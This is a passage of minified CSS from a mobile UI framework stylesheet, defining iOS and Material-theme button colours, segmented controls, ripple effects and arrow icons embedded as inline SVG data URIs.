.button.color-white.button-small-ios.button-fill-ios.active-state,.ios .button.color-white.button-small-ios.button-fill.active-state,.ios .button.color-white.button-small.button-fill-ios.active-state,.ios .button.color-white.button-small.button-fill.active-state{color:#fff;border:2px solid #fff;background-color:transparent}.ios .button.color-black{border-color:#000;color:#000}.ios .button.color-black.active-state{background:rgba(0,0,0,.15)}.ios .button.color-black.button-active,.ios .button.color-black.button-fill,.ios .button.color-black.button-fill-ios,.ios .button.color-black.tab-link-active{color:#fff}.ios .button.color-black.button-active,.ios .button.color-black.tab-link-active{background:#000}.ios .button.color-black.button-fill,.ios .button.color-black.button-fill-ios{background:#000;border-color:transparent}.ios .button.color-black.button-small-ios.button-fill-ios.active-state,.ios .button.color-black.button-small-ios.button-fill.active-state,.ios .button.color-black.button-small.button-fill-ios.active-state,.ios .button.color-black.button-small.button-fill.active-state{color:#000;border:2px solid #000;background-color:transparent}.md .button{color:#2196f3;border-radius:4px;line-height:36px;height:36px;text-transform:uppercase;min-width:64px;padding:0 8px;border:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);font-weight:500;letter-spacing:.03em}.md .button.active-state{background:rgba(0,0,0,.1)}.md .button.button-active,.md .button.button-fill,.md .button.button-fill-md,.md .button.tab-link-active{background-color:#2196f3;color:#fff}.md .button.button-active.active-state,.md .button.button-fill-md.active-state,.md .button.button-fill.active-state,.md .button.tab-link-active.active-state{background:#0c82df}.md .button.button-big,.md .button.button-big-md{height:48px;line-height:48px;border-radius:4px}.md .button.button-round,.md .button.button-round-md{border-radius:36px}.md .button.button-outline{border:2px solid #2196f3;line-height:32px}.md .button.button-outline.button-big,.md .button.button-outline.button-big-md{line-height:44px}.md .button.button-small,.md .button.button-small-md{height:28px;line-height:28px;font-size:13px;font-weight:500;letter-spacing:.03em}.md .button.button-small-md.button-outline,.md .button.button-small.button-outline{border-width:2px;line-height:24px}.md .button>i.icon+i.icon,.md .button>i.icon+span,.md .button>span:not(.ripple-wave)+i.icon,.md .button>span:not(.ripple-wave)+span{margin-left:8px}.md .button.button-raised{-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .button.button-raised.active-state{-webkit-box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23);box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23)}.md .navbar .button:not(.button-fill):not(.button-fill-md),.md .subnavbar .button:not(.button-fill):not(.button-fill-md),.md .toolbar .button:not(.button-fill):not(.button-fill-md){color:#fff}.md .navbar .button:not(.button-fill):not(.button-fill-md).active-state,.md .subnavbar .button:not(.button-fill):not(.button-fill-md).active-state,.md .toolbar .button:not(.button-fill):not(.button-fill-md).active-state{background:rgba(255,255,255,.15)}.md .toast .button:not(.button-fill):not(.button-fill-md).active-state{background:rgba(255,255,255,.15)}.md .segmented{border-radius:4px}.md .segmented.segmented-raised{-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .segmented.segmented-round{border-radius:36px}.md .segmented .button{border-radius:0;min-width:0;border-left:1px solid rgba(0,0,0,.1)}.md .segmented .button:first-child{border-radius:4px 0 0 4px;border-left:none}.md .segmented .button.button-outline{border:2px solid #2196f3}.md .segmented .button.button-outline:nth-child(n+2){border-left:none}.md .segmented .button:last-child{border-radius:0 4px 4px 0}.md .segmented .button:first-child:last-child{border-radius:4px}.md .segmented .button.button-round:first-child{border-radius:36px 0 0 36px}.md .segmented .button.button-round:last-child{border-radius:0 36px 36px 0}.md .theme-dark .button:not(.button-fill):not(.button-fill-md):not(.button-active):not(.tab-link-active).active-state{background-color:rgba(255,255,255,.1)}.md .color-red .button,.md .color-theme-red .button{color:#f44336}.md .color-red .button.button-active,.md .color-red .button.button-fill,.md .color-red .button.button-fill-md,.md .color-red .button.tab-link-active,.md .color-theme-red .button.button-active,.md .color-theme-red .button.button-fill,.md .color-theme-red .button.button-fill-md,.md .color-theme-red .button.tab-link-active{background-color:#f44336;color:#fff}.md .color-red .button.button-active.active-state,.md .color-red .button.button-fill-md.active-state,.md .color-red .button.button-fill.active-state,.md .color-red .button.tab-link-active.active-state,.md .color-theme-red .button.button-active.active-state,.md .color-theme-red .button.button-fill-md.active-state,.md .color-theme-red .button.button-fill.active-state,.md .color-theme-red .button.tab-link-active.active-state{background:#f21f0f}.md .color-red .button.button-outline,.md .color-theme-red .button.button-outline{border-color:#f44336}.md .color-green .button,.md .color-theme-green .button{color:#4caf50}.md .color-green .button.button-active,.md .color-green .button.button-fill,.md .color-green .button.button-fill-md,.md .color-green .button.tab-link-active,.md .color-theme-green .button.button-active,.md .color-theme-green .button.button-fill,.md .color-theme-green .button.button-fill-md,.md .color-theme-green .button.tab-link-active{background-color:#4caf50;color:#fff}.md .color-green .button.button-active.active-state,.md .color-green .button.button-fill-md.active-state,.md .color-green .button.button-fill.active-state,.md .color-green .button.tab-link-active.active-state,.md .color-theme-green .button.button-active.active-state,.md .color-theme-green .button.button-fill-md.active-state,.md .color-theme-green .button.button-fill.active-state,.md .color-theme-green .button.tab-link-active.active-state{background:#409343}.md .color-green .button.button-outline,.md .color-theme-green .button.button-outline{border-color:#4caf50}.md .color-blue .button,.md .color-theme-blue .button{color:#2196f3}.md .color-blue .button.button-active,.md .color-blue .button.button-fill,.md .color-blue .button.button-fill-md,.md .color-blue .button.tab-link-active,.md .color-theme-blue .button.button-active,.md .color-theme-blue .button.button-fill,.md .color-theme-blue .button.button-fill-md,.md .color-theme-blue .button.tab-link-active{background-color:#2196f3;color:#fff}.md .color-blue .button.button-active.active-state,.md .color-blue .button.button-fill-md.active-state,.md .color-blue .button.button-fill.active-state,.md .color-blue .button.tab-link-active.active-state,.md .color-theme-blue .button.button-active.active-state,.md .color-theme-blue .button.button-fill-md.active-state,.md .color-theme-blue .button.button-fill.active-state,.md .color-theme-blue .button.tab-link-active.active-state{background:#0c82df}.md .color-blue .button.button-outline,.md .color-theme-blue .button.button-outline{border-color:#2196f3}.md .color-pink .button,.md .color-theme-pink .button{color:#e91e63}.md .color-pink .button.button-active,.md .color-pink .button.button-fill,.md .color-pink .button.button-fill-md,.md .color-pink .button.tab-link-active,.md .color-theme-pink .button.button-active,.md .color-theme-pink .button.button-fill,.md .color-theme-pink .button.button-fill-md,.md .color-theme-pink .button.tab-link-active{background-color:#e91e63;color:#fff}.md .color-pink .button.button-active.active-state,.md .color-pink .button.button-fill-md.active-state,.md .color-pink .button.button-fill.active-state,.md .color-pink .button.tab-link-active.active-state,.md .color-theme-pink .button.button-active.active-state,.md .color-theme-pink .button.button-fill-md.active-state,.md .color-theme-pink .button.button-fill.active-state,.md .color-theme-pink .button.tab-link-active.active-state{background:#ca1452}.md .color-pink .button.button-outline,.md .color-theme-pink .button.button-outline{border-color:#e91e63}.md .color-theme-yellow .button,.md .color-yellow .button{color:#ffeb3b}.md .color-theme-yellow .button.button-active,.md .color-theme-yellow .button.button-fill,.md .color-theme-yellow .button.button-fill-md,.md .color-theme-yellow .button.tab-link-active,.md .color-yellow .button.button-active,.md .color-yellow .button.button-fill,.md .color-yellow .button.button-fill-md,.md .color-yellow .button.tab-link-active{background-color:#ffeb3b;color:#fff}.md .color-theme-yellow .button.button-active.active-state,.md .color-theme-yellow .button.button-fill-md.active-state,.md .color-theme-yellow .button.button-fill.active-state,.md .color-theme-yellow .button.tab-link-active.active-state,.md .color-yellow .button.button-active.active-state,.md .color-yellow .button.button-fill-md.active-state,.md .color-yellow .button.button-fill.active-state,.md .color-yellow .button.tab-link-active.active-state{background:#ffe712}.md .color-theme-yellow .button.button-outline,.md .color-yellow .button.button-outline{border-color:#ffeb3b}.md .color-orange .button,.md .color-theme-orange .button{color:#ff9800}.md .color-orange .button.button-active,.md .color-orange .button.button-fill,.md .color-orange .button.button-fill-md,.md .color-orange .button.tab-link-active,.md .color-theme-orange .button.button-active,.md .color-theme-orange .button.button-fill,.md .color-theme-orange .button.button-fill-md,.md .color-theme-orange .button.tab-link-active{background-color:#ff9800;color:#fff}.md .color-orange .button.button-active.active-state,.md .color-orange .button.button-fill-md.active-state,.md .color-orange .button.button-fill.active-state,.md .color-orange .button.tab-link-active.active-state,.md .color-theme-orange .button.button-active.active-state,.md .color-theme-orange .button.button-fill-md.active-state,.md .color-theme-orange .button.button-fill.active-state,.md .color-theme-orange .button.tab-link-active.active-state{background:#d68000}.md .color-orange .button.button-outline,.md .color-theme-orange .button.button-outline{border-color:#ff9800}.md .color-gray .button,.md .color-theme-gray .button{color:#9e9e9e}.md .color-gray .button.button-active,.md .color-gray .button.button-fill,.md .color-gray .button.button-fill-md,.md .color-gray .button.tab-link-active,.md .color-theme-gray .button.button-active,.md .color-theme-gray .button.button-fill,.md .color-theme-gray .button.button-fill-md,.md .color-theme-gray .button.tab-link-active{background-color:#9e9e9e;color:#fff}.md .color-gray .button.button-active.active-state,.md .color-gray .button.button-fill-md.active-state,.md .color-gray .button.button-fill.active-state,.md .color-gray .button.tab-link-active.active-state,.md .color-theme-gray .button.button-active.active-state,.md .color-theme-gray .button.button-fill-md.active-state,.md .color-theme-gray .button.button-fill.active-state,.md .color-theme-gray .button.tab-link-active.active-state{background:#8a8a8a}.md .color-gray .button.button-outline,.md .color-theme-gray .button.button-outline{border-color:#9e9e9e}.md .color-theme-white .button,.md .color-white .button{color:#fff}.md .color-theme-white .button.button-active,.md .color-theme-white .button.button-fill,.md .color-theme-white .button.button-fill-md,.md .color-theme-white .button.tab-link-active,.md .color-white .button.button-active,.md .color-white .button.button-fill,.md .color-white .button.button-fill-md,.md .color-white .button.tab-link-active{background-color:#fff;color:#fff}.md .color-theme-white .button.button-active.active-state,.md .color-theme-white .button.button-fill-md.active-state,.md .color-theme-white .button.button-fill.active-state,.md .color-theme-white .button.tab-link-active.active-state,.md .color-white .button.button-active.active-state,.md .color-white .button.button-fill-md.active-state,.md .color-white .button.button-fill.active-state,.md .color-white .button.tab-link-active.active-state{background:#ebebeb}.md .color-theme-white .button.button-outline,.md .color-white .button.button-outline{border-color:#fff}.md .color-black .button,.md .color-theme-black .button{color:#000}.md .color-black .button.button-active,.md .color-black .button.button-fill,.md .color-black .button.button-fill-md,.md .color-black .button.tab-link-active,.md .color-theme-black .button.button-active,.md .color-theme-black .button.button-fill,.md .color-theme-black .button.button-fill-md,.md .color-theme-black .button.tab-link-active{background-color:#000;color:#fff}.md .color-black .button.button-active.active-state,.md .color-black .button.button-fill-md.active-state,.md .color-black .button.button-fill.active-state,.md .color-black .button.tab-link-active.active-state,.md .color-theme-black .button.button-active.active-state,.md .color-theme-black .button.button-fill-md.active-state,.md .color-theme-black .button.button-fill.active-state,.md .color-theme-black .button.tab-link-active.active-state{background:#000}.md .color-black .button.button-outline,.md .color-theme-black .button.button-outline{border-color:#000}.md .button.color-red{color:#f44336}.md .button.color-red.button-active,.md .button.color-red.button-fill,.md .button.color-red.button-fill-md,.md .button.color-red.tab-link-active{background-color:#f44336;color:#fff}.md .button.color-red.button-active.active-state,.md .button.color-red.button-fill-md.active-state,.md .button.color-red.button-fill.active-state,.md .button.color-red.tab-link-active.active-state{background:#f21f0f}.md .button.color-red.button-outline{border-color:#f44336}.md .button.color-green{color:#4caf50}.md .button.color-green.button-active,.md .button.color-green.button-fill,.md .button.color-green.button-fill-md,.md .button.color-green.tab-link-active{background-color:#4caf50;color:#fff}.md .button.color-green.button-active.active-state,.md .button.color-green.button-fill-md.active-state,.md .button.color-green.button-fill.active-state,.md .button.color-green.tab-link-active.active-state{background:#409343}.md .button.color-green.button-outline{border-color:#4caf50}.md .button.color-blue{color:#2196f3}.md .button.color-blue.button-active,.md .button.color-blue.button-fill,.md .button.color-blue.button-fill-md,.md .button.color-blue.tab-link-active{background-color:#2196f3;color:#fff}.md .button.color-blue.button-active.active-state,.md .button.color-blue.button-fill-md.active-state,.md .button.color-blue.button-fill.active-state,.md .button.color-blue.tab-link-active.active-state{background:#0c82df}.md .button.color-blue.button-outline{border-color:#2196f3}.md .button.color-pink{color:#e91e63}.md .button.color-pink.button-active,.md .button.color-pink.button-fill,.md .button.color-pink.button-fill-md,.md .button.color-pink.tab-link-active{background-color:#e91e63;color:#fff}.md .button.color-pink.button-active.active-state,.md .button.color-pink.button-fill-md.active-state,.md .button.color-pink.button-fill.active-state,.md .button.color-pink.tab-link-active.active-state{background:#ca1452}.md .button.color-pink.button-outline{border-color:#e91e63}.md .button.color-yellow{color:#ffeb3b}.md .button.color-yellow.button-active,.md .button.color-yellow.button-fill,.md .button.color-yellow.button-fill-md,.md .button.color-yellow.tab-link-active{background-color:#ffeb3b;color:#fff}.md .button.color-yellow.button-active.active-state,.md .button.color-yellow.button-fill-md.active-state,.md .button.color-yellow.button-fill.active-state,.md .button.color-yellow.tab-link-active.active-state{background:#ffe712}.md .button.color-yellow.button-outline{border-color:#ffeb3b}.md .button.color-orange{color:#ff9800}.md .button.color-orange.button-active,.md .button.color-orange.button-fill,.md .button.color-orange.button-fill-md,.md .button.color-orange.tab-link-active{background-color:#ff9800;color:#fff}.md .button.color-orange.button-active.active-state,.md .button.color-orange.button-fill-md.active-state,.md .button.color-orange.button-fill.active-state,.md .button.color-orange.tab-link-active.active-state{background:#d68000}.md .button.color-orange.button-outline{border-color:#ff9800}.md .button.color-gray{color:#9e9e9e}.md .button.color-gray.button-active,.md .button.color-gray.button-fill,.md .button.color-gray.button-fill-md,.md .button.color-gray.tab-link-active{background-color:#9e9e9e;color:#fff}.md .button.color-gray.button-active.active-state,.md .button.color-gray.button-fill-md.active-state,.md .button.color-gray.button-fill.active-state,.md .button.color-gray.tab-link-active.active-state{background:#8a8a8a}.md .button.color-gray.button-outline{border-color:#9e9e9e}.md .button.color-white{color:#fff}.md .button.color-white.button-active,.md .button.color-white.button-fill,.md .button.color-white.button-fill-md,.md .button.color-white.tab-link-active{background-color:#fff;color:#fff}.md .button.color-white.button-active.active-state,.md .button.color-white.button-fill-md.active-state,.md .button.color-white.button-fill.active-state,.md .button.color-white.tab-link-active.active-state{background:#ebebeb}.md .button.color-white.button-outline{border-color:#fff}.md .button.color-black{color:#000}.md .button.color-black.button-active,.md .button.color-black.button-fill,.md .button.color-black.button-fill-md,.md .button.color-black.tab-link-active{background-color:#000;color:#fff}.md .button.color-black.button-active.active-state,.md .button.color-black.button-fill-md.active-state,.md .button.color-black.button-fill.active-state,.md .button.color-black.tab-link-active.active-state{background:#000}.md .button.color-black.button-outline{border-color:#000}.md .actions-button,.md .button,.md .checkbox,.md .dialog-button,.md .fab a,.md .radio,.md .ripple,.md .speed-dial-buttons a,.md .tab-link,.md a.item-link,.md a.link{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.md .ripple-wave{left:0;top:0;position:absolute!important;border-radius:50%;pointer-events:none;z-index:-1;background:rgba(0,0,0,.1);padding:0;margin:0;font-size:0;-webkit-transform:translate3d(0,0,0) scale(0);transform:translate3d(0,0,0) scale(0);-webkit-transition-duration:1.4s;transition-duration:1.4s}.md .ripple-wave.ripple-wave-fill{-webkit-transition-duration:.3s;transition-duration:.3s;opacity:.35}.md .ripple-wave.ripple-wave-out{-webkit-transition-duration:.6s;transition-duration:.6s;opacity:0}.button-fill .md .ripple-wave,.picker-calendar-day .md .ripple-wave{z-index:1}.md .button-active .ripple-wave,.md .button-fill .ripple-wave,.md .fab a .ripple-wave,.md .navbar .ripple-wave,.md .stepper-fill .ripple-wave,.md .subnavbar .ripple-wave,.md .toast .ripple-wave,.md .toolbar .ripple-wave{background:rgba(255,255,255,.3)}.md .messagebar .ripple-wave,.md .searchbar .ripple-wave{background:rgba(0,0,0,.1)}.md .data-table .sortable-cell .ripple-wave{z-index:0}.md .checkbox .ripple-wave,.md .radio .ripple-wave{background:rgba(33,150,243,.5);z-index:0}.calendar.md .theme-dark .ripple-wave,.md .theme-dark .calendar .ripple-wave,.md .theme-dark .messagebar .ripple-wave,.md .theme-dark .page-content .ripple-wave,.md .theme-dark .popover .ripple-wave{background-color:rgba(255,255,255,.3)}.md .ripple-color-red .ripple-wave,.md .ripple-red .ripple-wave{background-color:rgba(244,67,54,.3)}.md .ripple-color-green .ripple-wave,.md .ripple-green .ripple-wave{background-color:rgba(76,175,80,.3)}.md .ripple-blue .ripple-wave,.md .ripple-color-blue .ripple-wave{background-color:rgba(33,150,243,.3)}.md .ripple-color-pink .ripple-wave,.md .ripple-pink .ripple-wave{background-color:rgba(233,30,99,.3)}.md .ripple-color-yellow .ripple-wave,.md .ripple-yellow .ripple-wave{background-color:rgba(255,235,59,.3)}.md .ripple-color-orange .ripple-wave,.md .ripple-orange .ripple-wave{background-color:rgba(255,152,0,.3)}.md .ripple-color-gray .ripple-wave,.md .ripple-gray .ripple-wave{background-color:rgba(158,158,158,.3)}.md .ripple-color-white .ripple-wave,.md .ripple-white .ripple-wave{background-color:rgba(255,255,255,.3)}.md .ripple-black .ripple-wave,.md .ripple-color-black .ripple-wave{background-color:rgba(0,0,0,.3)}i.icon{display:inline-block;vertical-align:middle;background-size:100% auto;background-position:center;background-repeat:no-repeat;font-style:normal;position:relative}.ios .icon-back,.ios .icon-prev{width:12px;height:20px}.ios .icon-forward,.ios .icon-next{width:12px;height:20px}.ios .icon-next,.ios .icon-prev{width:10px}.ios .icon-back,.ios .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .icon-forward,.ios .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .navbar .f7-icons,.ios .toolbar .f7-icons{font-size:22px}.ios .tabbar .f7-icons,.ios .tabbar-labels .f7-icons{font-size:25px}.ios .item-media .f7-icons{font-size:25px;width:29px;height:29px}.ios .button .f7-icons{font-size:22px}.ios .item-media .icon{color:grey}.ios .color-theme-red .icon-back,.ios .color-theme-red .icon-prev,.ios .icon-back.color-red,.ios .icon-prev.color-red,.ios a.link.color-red .icon-back,.ios a.link.color-red .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-red .icon-forward,.ios .color-theme-red .icon-next,.ios .icon-forward.color-red,.ios .icon-next.color-red,.ios a.link.color-red .icon-forward,.ios a.link.color-red .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .icon-back,.ios .color-theme-green .icon-prev,.ios .icon-back.color-green,.ios .icon-prev.color-green,.ios a.link.color-green .icon-back,.ios a.link.color-green .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .icon-forward,.ios .color-theme-green .icon-next,.ios .icon-forward.color-green,.ios .icon-next.color-green,.ios a.link.color-green .icon-forward,.ios a.link.color-green .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .icon-back,.ios .color-theme-blue .icon-prev,.ios .icon-back.color-blue,.ios .icon-prev.color-blue,.ios a.link.color-blue .icon-back,.ios a.link.color-blue .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .icon-forward,.ios .color-theme-blue .icon-next,.ios .icon-forward.color-blue,.ios .icon-next.color-blue,.ios a.link.color-blue .icon-forward,.ios a.link.color-blue .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .icon-back,.ios .color-theme-pink .icon-prev,.ios .icon-back.color-pink,.ios .icon-prev.color-pink,.ios a.link.color-pink .icon-back,.ios a.link.color-pink .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .icon-forward,.ios .color-theme-pink .icon-next,.ios .icon-forward.color-pink,.ios .icon-next.color-pink,.ios a.link.color-pink .icon-forward,.ios a.link.color-pink .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .icon-back,.ios .color-theme-yellow .icon-prev,.ios .icon-back.color-yellow,.ios .icon-prev.color-yellow,.ios a.link.color-yellow .icon-back,.ios a.link.color-yellow .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .icon-forward,.ios .color-theme-yellow .icon-next,.ios .icon-forward.color-yellow,.ios .icon-next.color-yellow,.ios a.link.color-yellow .icon-forward,.ios a.link.color-yellow .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .icon-back,.ios .color-theme-orange .icon-prev,.ios 